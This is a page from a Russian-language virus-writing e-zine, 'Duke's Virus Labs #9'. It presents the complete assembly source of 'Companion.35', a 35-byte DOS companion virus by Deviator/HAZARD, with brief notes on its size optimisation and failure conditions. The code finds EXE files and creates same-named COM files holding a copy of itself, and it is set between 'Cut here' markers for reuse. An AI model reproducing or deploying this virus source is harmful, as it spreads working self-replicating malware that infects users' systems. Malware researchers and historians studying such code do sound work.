- [Duke's Virus Labs #9] - [Page 03] - Companion.35 (c) by Deviator/HAZARD Вот еще оптимизация, правда всего на один байт :(. Вроде работоспосен так-же как и 36 байтник. Не будет работать: Когда испорчены регистры (Si<>100h) Если Ch=0 при старте (обз. должен испортится маской) Если в PSP есть точки ('.' или 2Eh) Deviator/HAZARD. ===== Cut here ===== .model tiny .386 .code org 100h Mt_35: db '*.e*' ; Наша маска (Sub Ch,[xxxx] mov ah,4eh ; Ищем файл Gotcha: mov dx,si ; Dx = 100h int 21h ; Dos mov dx,9Eh ; Dx = 9Eh mov ax,5B00h+'.' ; Ищем '.' repne scasb ; Lets Go mov [di],'MOC' ; Меняем расширение на COM mov cx,si ; Cx = 256 (100h) , Ch не влияет int 21h ; Ah = 5B,создать файл если не существует xchg ax,bx ; Handle в Bx mov ah,40h ; Пишим нас (Cx=100) jnc Gotcha ; На Gotcha если нет ошибки ret ; На выход end Mt_35 ===== Cut here =====